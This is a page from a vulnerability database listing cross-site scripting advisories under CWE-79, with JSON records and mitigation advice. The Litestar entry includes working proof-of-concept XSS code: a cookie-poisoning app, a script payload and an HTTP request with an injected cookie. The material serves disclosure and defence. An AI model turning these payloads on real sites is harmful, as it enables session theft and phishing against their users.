CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
68596 vulnerabilities reference this CWE, most recent first.
GHSA-542P-F2XG-8QPC
Vulnerability from github – Published: 2025-01-07 06:32 – Updated: 2026-04-08 21:32The Geo Content plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'geotargetlygeocontent' shortcode in all versions up to, and including, 6.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
{
"affected": [],
"aliases": [
"CVE-2024-11887"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-07T06:15:15Z",
"severity": "MODERATE"
},
"details": "The Geo Content plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin\u0027s \u0027geotargetlygeocontent\u0027 shortcode in all versions up to, and including, 6.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
"id": "GHSA-542p-f2xg-8qpc",
"modified": "2026-04-08T21:32:58Z",
"published": "2025-01-07T06:32:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11887"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/geo-targetly-geo-content/trunk/geotargetly-geo-content.php#L157"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3323400"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/geo-targetly-geo-content"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c52cdb58-c97a-43a6-a3ff-be084ceee085?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-542P-MWQV-MCXQ
Vulnerability from github – Published: 2025-09-22 21:30 – Updated: 2026-04-01 18:36Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in AnyClip Video Platform AnyClip Luminous Studio allows Stored XSS. This issue affects AnyClip Luminous Studio: from n/a through 1.3.3.
{
"affected": [],
"aliases": [
"CVE-2025-58271"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-22T19:16:14Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in AnyClip Video Platform AnyClip Luminous Studio allows Stored XSS. This issue affects AnyClip Luminous Studio: from n/a through 1.3.3.",
"id": "GHSA-542p-mwqv-mcxq",
"modified": "2026-04-01T18:36:16Z",
"published": "2025-09-22T21:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58271"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/anyclip-media/vulnerability/wordpress-anyclip-luminous-studio-plugin-1-3-3-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-542P-WVX7-72M4
Vulnerability from github – Published: 2026-06-10 19:12 – Updated: 2026-06-10 19:12Overview
Litestar instances which use a template engine in conjunction with CSRF protection are vulnerable to HTML Injection which can be escalated to Cross Site Scripting due to the contents of the CSRF cookie being excluded from automatic escaping by the template engine when configured inline with documentation recommendations.
We used the latest Litestar version available via PyPI for this disclosure. At the time of writing, that is version 2.21.0 and we have not validated this against the current latest commit on the main branch.
Special Configurations Required
For a web application to be vulnerable to this issue, it must:
- Use templates to render the content which is returned to the user (e.g. Jinja, Mako, MiniJinja)
- Have CSRF protection enabled
- Have CSRF inputs enabled (i.e. a hidden form field which contains the CSRF token)
Links to relevant documentation for the above configurations:
- https://docs.litestar.dev/2/usage/templating.html
- https://docs.litestar.dev/latest/usage/middleware/builtin-middleware.html#csrf
- https://docs.litestar.dev/latest/usage/templating.html#adding-csrf-inputs
Reproduction Steps
- Visit an application which contains a form, uses templating, has CSRF protection enabled, and which inserts the CSRF token as a hidden
inputfield on forms. A proof of concept application demonstrating this configuration is included later in this disclosure for ease of reproduction. - Observe that the server sets the
csrftokencookie when the page loads.
- Set the value of the
csrftokencookie to"><h1>HTML Injection Test</h1>.
- Refresh the page.
- Observe that the contents of the cookie is rendered on the page.
Exploit Code
There are two Proof-of-Concepts (PoC) included here. The first demonstrates that arbitrary HTML is injected into the page when the user supplies a malicious csrftoken cookie. The second demonstrates how an attacker could deliver an attack using the vulnerability to an unsuspecting user.
The proof-of-concept applications can be started using these commands:
# run poc1
python -m uvicorn poc1:app
# run poc2
python -m uvicorn poc2:app
PoC 1 - Minimum Vulnerable Application
This proof-of-concept demonstrates that a crafted csrftoken cookie will be rendered on the vulnerable page as HTML.
poc1.py
from litestar import Litestar, get, MediaType
from litestar.response import Template
from litestar.config.csrf import CSRFConfig
import jinja2, os
from pathlib import Path
from litestar import Litestar
from litestar.contrib.jinja import JinjaTemplateEngine
from litestar.template.config import TemplateConfig
@get("/")
async def hello_world() -> Template:
return Template(
template_name="test.jinja",
media_type=MediaType.HTML,
)
ENVIRONMENT = jinja2.Environment(
loader=jinja2.FileSystemLoader(
searchpath=os.path.join(os.path.dirname(__file__), "templates")
),
autoescape=True,
)
csrf_config = CSRFConfig(secret="my_super_duper_secret")
app = Litestar(
route_handlers=[hello_world],
template_config=TemplateConfig(
directory=Path("templates"),
engine=JinjaTemplateEngine.from_environment(ENVIRONMENT),
),
csrf_config=csrf_config,
)
test.jinja
<html>
<body>
<div>
<form method="post">
{{ csrf_input | safe }}
<label for="fname">Username:</label><br>
<input type="text" id="username" name="username"><br>
<label for="lname">Password:</label><br>
<input type="text" id="password" name="password">
<input type="submit">
</form>
</div>
</body>
</html>
Sending the following request to the vulnerable page will result in the HTML included in the csrftoken cookie being injected and rendered on the page.
GET /vulnerable HTTP/1.1
Host: localhost:8000
Cookie: csrftoken="><h1>HTML Injection Test</h1>
PoC 2 - Simulated Attack Delivery
This proof-of-concept demonstrates how an attacker could deliver an attack using this vulnerability to an unsuspecting user. We are using this example as it provides for easy local reproduction, it is possible that in end applications there may be various ways to trigger this vulnerability which differ from the example provided.
First, the user must visit a malicious application (the /first_site endpoint in poc2.py) which sets the csrftoken cookie value to a malicious payload. This app must be hosted on the same top level domain as the vulnerable application so that the poisoned cookie will automatically be sent by the user's browser to the vulnerable page.
Next, the malicious app redirects the user to the vulnerable app (the /second_site endpoint in poc2.py). The victim's browser will automatically send the poisoned cookie to the vulnerable app. This causes the vulnerable application to unsafely write the cookie content to the page and return it to the user, executing the attack in the victim user's browser
poc2.py
from litestar import Litestar, get, post, MediaType
from litestar.response import Template
from litestar.config.csrf import CSRFConfig
from litestar.datastructures import Cookie
import jinja2, os
from pathlib import Path
from litestar import Litestar
from litestar.contrib.jinja import JinjaTemplateEngine
from litestar.template.config import TemplateConfig
cookie_payload = '"><script>alert(document.domain)</script>'
# malicious site which poisons the csrf cookie
@get("/first_site", response_cookies=[Cookie(key="csrftoken", value=cookie_payload, httponly=True)])
async def first_site() -> Template:
return Template(
template_name="page1.jinja",
media_type=MediaType.HTML,
)
# vulnerable site
@get("/second_site")
async def second_site() -> Template:
return Template(
template_name="page2.jinja",
media_type=MediaType.HTML,
)
# example function for form submission if csrf verification succeeds
@post("/form_receive")
async def handle_form() -> dict[str, str]:
return {
"message": "form data received successfully"
}
ENVIRONMENT = jinja2.Environment(
loader=jinja2.FileSystemLoader(
searchpath=os.path.join(os.path.dirname(__file__), "templates")
),
autoescape=True,
)
csrf_config = CSRFConfig(secret="my_super_duper_secret")
app = Litestar(
route_handlers=[first_site, second_site, handle_form],
template_config=TemplateConfig(
directory=Path("templates"),
engine=JinjaTemplateEngine.from_environment(ENVIRONMENT),
),
csrf_config=csrf_config,
)
page1.jinja
<html>
<body>
<h1>Setting cookie...</h1>
<script>
setTimeout(() => {
window.location.href="/second_site"
}, 2000);
</script>
</body>
</html>
page2.jinja
<html>
<body>
<div>
<form action="/form_receive" method="post">
{{ csrf_input | safe }}
<label for="fname">Username:</label><br>
<input type="text" id="username" name="username"><br>
<label for="lname">Password:</label><br>
<input type="text" id="password" name="password">
<input type="submit">
</form>
</div>
</body>
</html>
Impact
This vulnerability affects all Litestar instances that use templates along with CSRF protection that has been configured inline with the documentation section of "Adding CSRF inputs" within the "Templating" page. An attacker that can successfully exploit this issue can inject arbitrary HTML tags into the page which is then rendered in the victim user's browser. This includes script tags, allowing the attacker to escalate the attack to a Cross Site Scripting attack, thus executing arbitrary JavaScript code in the victim's browser.
Depending on the configuration of the site, this could result in the theft of cookies or session tokens. This issue can also allow the attacker to change the appearance of the site. This could enable possible phishing attacks by injecting fake forms into the page or even skimming the information that a user enters into a legitimate form.
Resources
- https://cwe.mitre.org/data/definitions/79.html
- https://docs.litestar.dev/2/usage/templating.html
- https://docs.litestar.dev/latest/usage/middleware/builtin-middleware.html#csrf
- https://docs.litestar.dev/latest/usage/templating.html#adding-csrf-inputs
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "litestar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.22.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48060"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-10T19:12:05Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# Overview\n\nLitestar instances which use a template engine in conjunction with CSRF protection are vulnerable to HTML Injection which can be escalated to Cross Site Scripting due to the contents of the CSRF cookie being excluded from automatic escaping by the template engine when configured inline with documentation recommendations.\n\nWe used the latest Litestar version available via PyPI for this disclosure. At the time of writing, that is version 2.21.0 and we have not validated this against the current latest commit on the main branch.\n\n# Special Configurations Required\n\nFor a web application to be vulnerable to this issue, it must:\n\n- Use templates to render the content which is returned to the user (e.g. Jinja, Mako, MiniJinja)\n- Have CSRF protection enabled\n- Have CSRF inputs enabled (i.e. a hidden form field which contains the CSRF token)\n\n**Links to relevant documentation for the above configurations:**\n\n- https://docs.litestar.dev/2/usage/templating.html\n- https://docs.litestar.dev/latest/usage/middleware/builtin-middleware.html#csrf\n- https://docs.litestar.dev/latest/usage/templating.html#adding-csrf-inputs\n\n# Reproduction Steps\n\n1. Visit an application which contains a form, uses templating, has CSRF protection enabled, and which inserts the CSRF token as a hidden `input` field on forms. A proof of concept application demonstrating this configuration is included later in this disclosure for ease of reproduction.\n2. Observe that the server sets the `csrftoken` cookie when the page loads.\n\n\u003cimg width=\"1152\" height=\"372\" alt=\"litestar_csrf_cookie_in_browser_dev_tools\" src=\"https://github.com/user-attachments/assets/252a5746-0f5f-4c78-9b9c-3ff4fb98e942\" /\u003e\n\n3. Set the value of the `csrftoken` cookie to `\"\u003e\u003ch1\u003eHTML Injection Test\u003c/h1\u003e`.\n\n\u003cimg width=\"1142\" height=\"426\" alt=\"litestar_csrf_cookie_poisoned_with_html\" src=\"https://github.com/user-attachments/assets/131e5015-e718-4539-8d03-969e81a34fdc\" /\u003e\n\n4. Refresh the page.\n5. Observe that the contents of the cookie is rendered on the page. \n\n\u003cimg width=\"1152\" height=\"480\" alt=\"litestar_successful_html_injection\" src=\"https://github.com/user-attachments/assets/c997f679-7111-4620-a28d-25eabea34ca2\" /\u003e\n\n# Exploit Code\n\nThere are two Proof-of-Concepts (PoC) included here. The first demonstrates that arbitrary HTML is injected into the page when the user supplies a malicious `csrftoken` cookie. The second demonstrates how an attacker could deliver an attack using the vulnerability to an unsuspecting user. \n\nThe proof-of-concept applications can be started using these commands:\n\n```bash\n# run poc1\npython -m uvicorn poc1:app\n\n# run poc2\npython -m uvicorn poc2:app\n```\n\n## PoC 1 - Minimum Vulnerable Application\n\nThis proof-of-concept demonstrates that a crafted `csrftoken` cookie will be rendered on the vulnerable page as HTML. \n\n**poc1.py**\n\n```python\nfrom litestar import Litestar, get, MediaType\nfrom litestar.response import Template\nfrom litestar.config.csrf import CSRFConfig\nimport jinja2, os\nfrom pathlib import Path\nfrom litestar import Litestar\nfrom litestar.contrib.jinja import JinjaTemplateEngine\nfrom litestar.template.config import TemplateConfig\n\n@get(\"/\")\nasync def hello_world() -\u003e Template:\n return Template(\n template_name=\"test.jinja\",\n media_type=MediaType.HTML,\n )\n\nENVIRONMENT = jinja2.Environment(\n loader=jinja2.FileSystemLoader(\n searchpath=os.path.join(os.path.dirname(__file__), \"templates\")\n ),\n autoescape=True,\n)\n\ncsrf_config = CSRFConfig(secret=\"my_super_duper_secret\")\n\napp = Litestar(\n route_handlers=[hello_world],\n template_config=TemplateConfig(\n directory=Path(\"templates\"),\n engine=JinjaTemplateEngine.from_environment(ENVIRONMENT),\n ),\n csrf_config=csrf_config,\n)\n```\n\n**test.jinja**\n\n```html\n\u003chtml\u003e\n \u003cbody\u003e\n \u003cdiv\u003e\n \u003cform method=\"post\"\u003e\n {{ csrf_input | safe }}\n \u003clabel for=\"fname\"\u003eUsername:\u003c/label\u003e\u003cbr\u003e\n \u003cinput type=\"text\" id=\"username\" name=\"username\"\u003e\u003cbr\u003e\n \u003clabel for=\"lname\"\u003ePassword:\u003c/label\u003e\u003cbr\u003e\n \u003cinput type=\"text\" id=\"password\" name=\"password\"\u003e\n \u003cinput type=\"submit\"\u003e\n \u003c/form\u003e\n \u003c/div\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n```\n\nSending the following request to the vulnerable page will result in the HTML included in the `csrftoken` cookie being injected and rendered on the page. \n\n```http\nGET /vulnerable HTTP/1.1\nHost: localhost:8000\nCookie: csrftoken=\"\u003e\u003ch1\u003eHTML Injection Test\u003c/h1\u003e\n```\n\n\u003cimg width=\"577\" height=\"328\" alt=\"litestar_html_injection_poc_result\" src=\"https://github.com/user-attachments/assets/69590b08-1066-487d-ac37-62f64333de5a\" /\u003e\n\n## PoC 2 - Simulated Attack Delivery\n\nThis proof-of-concept demonstrates how an attacker could deliver an attack using this vulnerability to an unsuspecting user. We are using this example as it provides for easy local reproduction, it is possible that in end applications there may be various ways to trigger this vulnerability which differ from the example provided. \n\nFirst, the user must visit a malicious application (the `/first_site` endpoint in `poc2.py`) which sets the `csrftoken` cookie value to a malicious payload. This app must be hosted on the *same top level domain* as the vulnerable application so that the poisoned cookie will automatically be sent by the user\u0027s browser to the vulnerable page. \n\nNext, the malicious app *redirects* the user to the vulnerable app (the `/second_site` endpoint in `poc2.py`). The victim\u0027s browser will automatically send the poisoned cookie to the vulnerable app. This causes the vulnerable application to unsafely write the cookie content to the page and return it to the user, executing the attack in the victim user\u0027s browser\n\n**poc2.py**\n\n```python\nfrom litestar import Litestar, get, post, MediaType\nfrom litestar.response import Template\nfrom litestar.config.csrf import CSRFConfig\nfrom litestar.datastructures import Cookie\nimport jinja2, os\nfrom pathlib import Path\nfrom litestar import Litestar\nfrom litestar.contrib.jinja import JinjaTemplateEngine\nfrom litestar.template.config import TemplateConfig\n\ncookie_payload = \u0027\"\u003e\u003cscript\u003ealert(document.domain)\u003c/script\u003e\u0027\n\n# malicious site which poisons the csrf cookie\n@get(\"/first_site\", response_cookies=[Cookie(key=\"csrftoken\", value=cookie_payload, httponly=True)])\nasync def first_site() -\u003e Template:\n return Template(\n template_name=\"page1.jinja\",\n media_type=MediaType.HTML,\n )\n\n# vulnerable site\n@get(\"/second_site\")\nasync def second_site() -\u003e Template:\n return Template(\n template_name=\"page2.jinja\",\n media_type=MediaType.HTML,\n )\n\n# example function for form submission if csrf verification succeeds\n@post(\"/form_receive\")\nasync def handle_form() -\u003e dict[str, str]:\n return {\n \"message\": \"form data received successfully\"\n }\n\n\nENVIRONMENT = jinja2.Environment(\n loader=jinja2.FileSystemLoader(\n searchpath=os.path.join(os.path.dirname(__file__), \"templates\")\n ),\n autoescape=True,\n)\n\ncsrf_config = CSRFConfig(secret=\"my_super_duper_secret\")\n\napp = Litestar(\n route_handlers=[first_site, second_site, handle_form],\n template_config=TemplateConfig(\n directory=Path(\"templates\"),\n engine=JinjaTemplateEngine.from_environment(ENVIRONMENT),\n ),\n csrf_config=csrf_config,\n)\n```\n\n**page1.jinja**\n\n```html\n\u003chtml\u003e\n \u003cbody\u003e\n \u003ch1\u003eSetting cookie...\u003c/h1\u003e\n \u003cscript\u003e\n setTimeout(() =\u003e {\n window.location.href=\"/second_site\"\n }, 2000);\n \u003c/script\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n```\n\n**page2.jinja**\n\n```html\n\u003chtml\u003e\n \u003cbody\u003e\n \u003cdiv\u003e\n \u003cform action=\"/form_receive\" method=\"post\"\u003e\n {{ csrf_input | safe }}\n \u003clabel for=\"fname\"\u003eUsername:\u003c/label\u003e\u003cbr\u003e\n \u003cinput type=\"text\" id=\"username\" name=\"username\"\u003e\u003cbr\u003e\n \u003clabel for=\"lname\"\u003ePassword:\u003c/label\u003e\u003cbr\u003e\n \u003cinput type=\"text\" id=\"password\" name=\"password\"\u003e\n \u003cinput type=\"submit\"\u003e\n \u003c/form\u003e\n \u003c/div\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n```\n\n\u003cimg width=\"887\" height=\"223\" alt=\"litestar_poc_first_page_setting_cookie\" src=\"https://github.com/user-attachments/assets/4e8f70e4-fb44-47f6-8e15-42b512cc224f\" /\u003e\n\n\u003cimg width=\"885\" height=\"366\" alt=\"litestar_poc_second_page_xss\" src=\"https://github.com/user-attachments/assets/a8d57c66-0424-483c-ac92-4694d4e08500\" /\u003e\n\n# Impact\n\nThis vulnerability affects all Litestar instances that use templates along with CSRF protection that has been configured inline with the documentation section of \"Adding CSRF inputs\" within the \"Templating\" page. An attacker that can successfully exploit this issue can inject arbitrary HTML tags into the page which is then rendered in the victim user\u0027s browser. This includes `script` tags, allowing the attacker to escalate the attack to a Cross Site Scripting attack, thus executing arbitrary JavaScript code in the victim\u0027s browser. \n\nDepending on the configuration of the site, this could result in the theft of cookies or session tokens. This issue can also allow the attacker to change the appearance of the site. This could enable possible phishing attacks by injecting fake forms into the page or even skimming the information that a user enters into a legitimate form. \n\n# Resources\n\n- https://cwe.mitre.org/data/definitions/79.html\n- https://docs.litestar.dev/2/usage/templating.html\n- https://docs.litestar.dev/latest/usage/middleware/builtin-middleware.html#csrf\n- https://docs.litestar.dev/latest/usage/templating.html#adding-csrf-inputs",
"id": "GHSA-542p-wvx7-72m4",
"modified": "2026-06-10T19:12:05Z",
"published": "2026-06-10T19:12:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/litestar-org/litestar/security/advisories/GHSA-542p-wvx7-72m4"
},
{
"type": "WEB",
"url": "https://docs.litestar.dev/2/release-notes/changelog.html#2.22.0"
},
{
"type": "PACKAGE",
"url": "https://github.com/litestar-org/litestar"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Litestar has HTML Injection Through its CSRF Token"
}
GHSA-5436-RP7W-V3HQ
Vulnerability from github – Published: 2024-11-20 15:30 – Updated: 2026-04-01 18:32Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Brainvireinfo Dynamic URL SEO allows Reflected XSS.This issue affects Dynamic URL SEO: from n/a through 1.0.
{
"affected": [],
"aliases": [
"CVE-2024-52470"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-20T15:15:10Z",
"severity": "HIGH"
},
"details": "Improper Neutralization of Input During Web Page Generation (XSS or \u0027Cross-site Scripting\u0027) vulnerability in Brainvireinfo Dynamic URL SEO allows Reflected XSS.This issue affects Dynamic URL SEO: from n/a through 1.0.",
"id": "GHSA-5436-rp7w-v3hq",
"modified": "2026-04-01T18:32:34Z",
"published": "2024-11-20T15:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52470"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/dynamic-url-seo/vulnerability/wordpress-dynamic-url-seo-plugin-1-0-cross-site-scripting-xss-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/dynamic-url-seo/wordpress-dynamic-url-seo-plugin-1-0-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-5437-FX95-VWQ6
Vulnerability from github – Published: 2022-05-05 00:29 – Updated: 2022-11-17 18:30Cross-site Scripting (XSS) in Dolibarr ERP/CRM 3.3.1 allows remote attackers to inject arbitrary web script or HTML in functions.lib.php.
{
"affected": [],
"aliases": [
"CVE-2013-2092"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-11-20T21:15:00Z",
"severity": "MODERATE"
},
"details": "Cross-site Scripting (XSS) in Dolibarr ERP/CRM 3.3.1 allows remote attackers to inject arbitrary web script or HTML in functions.lib.php.",
"id": "GHSA-5437-fx95-vwq6",
"modified": "2022-11-17T18:30:26Z",
"published": "2022-05-05T00:29:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-2092"
},
{
"type": "WEB",
"url": "https://github.com/Dolibarr/dolibarr/commit/8a90598b23e1b2689848187941f7a96b04907005"
},
{
"type": "WEB",
"url": "https://security-tracker.debian.org/tracker/CVE-2013-2092"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2013/05/14/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-543C-WFF7-PG59
Vulnerability from github – Published: 2022-05-24 19:08 – Updated: 2022-05-24 19:08A Cross-Site Scripting (XSS) issue in the chat component of Etherpad 1.8.13 allows remote attackers to inject arbitrary JavaScript or HTML by importing a crafted pad.
{
"affected": [],
"aliases": [
"CVE-2021-34817"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-07-19T14:15:00Z",
"severity": "MODERATE"
},
"details": "A Cross-Site Scripting (XSS) issue in the chat component of Etherpad 1.8.13 allows remote attackers to inject arbitrary JavaScript or HTML by importing a crafted pad.",
"id": "GHSA-543c-wff7-pg59",
"modified": "2022-05-24T19:08:22Z",
"published": "2022-05-24T19:08:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34817"
},
{
"type": "WEB",
"url": "https://github.com/ether/etherpad-lite/commit/a7968115581e20ef47a533e030f59f830486bdfa"
},
{
"type": "WEB",
"url": "https://blog.sonarsource.com/etherpad-code-execution-vulnerabilities"
},
{
"type": "WEB",
"url": "https://etherpad.org/#download"
},
{
"type": "WEB",
"url": "https://github.com/ether/etherpad-lite/releases/tag/1.8.14"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-543V-622P-PFX5
Vulnerability from github – Published: 2026-03-13 21:31 – Updated: 2026-03-16 15:30Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Themefic Ultimate Addons for Contact Form 7 ultimate-addons-for-contact-form-7 allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Ultimate Addons for Contact Form 7: from n/a through <= 3.5.36.
{
"affected": [],
"aliases": [
"CVE-2026-32460"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-13T19:55:08Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in Themefic Ultimate Addons for Contact Form 7 ultimate-addons-for-contact-form-7 allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Ultimate Addons for Contact Form 7: from n/a through \u003c= 3.5.36.",
"id": "GHSA-543v-622p-pfx5",
"modified": "2026-03-16T15:30:40Z",
"published": "2026-03-13T21:31:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32460"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/ultimate-addons-for-contact-form-7/vulnerability/wordpress-ultimate-addons-for-contact-form-7-plugin-3-5-36-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-5448-W7JG-46R7
Vulnerability from github – Published: 2024-05-08 12:30 – Updated: 2026-04-28 21:35Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Themeqx LetterPress allows Stored XSS.This issue affects LetterPress: from n/a through 1.2.1.
{
"affected": [],
"aliases": [
"CVE-2024-34568"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-08T11:15:25Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in Themeqx LetterPress allows Stored XSS.This issue affects LetterPress: from n/a through 1.2.1.",
"id": "GHSA-5448-w7jg-46r7",
"modified": "2026-04-28T21:35:05Z",
"published": "2024-05-08T12:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34568"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/letterpress/wordpress-letterpress-newsletter-plugin-1-2-1-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-544J-HGJQ-R487
Vulnerability from github – Published: 2022-05-14 01:34 – Updated: 2022-05-14 01:34An issue was discovered in Joomla! before 3.9.3. Inadequate parameter handling in JavaScript code (core.js writeDynaList) could lead to an XSS attack vector.
{
"affected": [],
"aliases": [
"CVE-2019-7740"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-02-12T18:29:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Joomla! before 3.9.3. Inadequate parameter handling in JavaScript code (core.js writeDynaList) could lead to an XSS attack vector.",
"id": "GHSA-544j-hgjq-r487",
"modified": "2022-05-14T01:34:00Z",
"published": "2022-05-14T01:34:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-7740"
},
{
"type": "WEB",
"url": "https://developer.joomla.org/security-centre/769-20190205-core-xss-issue-in-core-js-writedynalist"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-544J-MXPJ-G427
Vulnerability from github – Published: 2022-05-13 01:23 – Updated: 2025-04-12 12:48Cross-site scripting (XSS) vulnerability in Elasticsearch Kibana 4.x before 4.0.3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2015-4093"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-06-15T15:59:00Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting (XSS) vulnerability in Elasticsearch Kibana 4.x before 4.0.3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.",
"id": "GHSA-544j-mxpj-g427",
"modified": "2025-04-12T12:48:54Z",
"published": "2022-05-13T01:23:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-4093"
},
{
"type": "WEB",
"url": "https://www.elastic.co/community/security"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/132232/Kibana-4.0.2-Cross-Site-Scripting.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/535726/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/75107"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
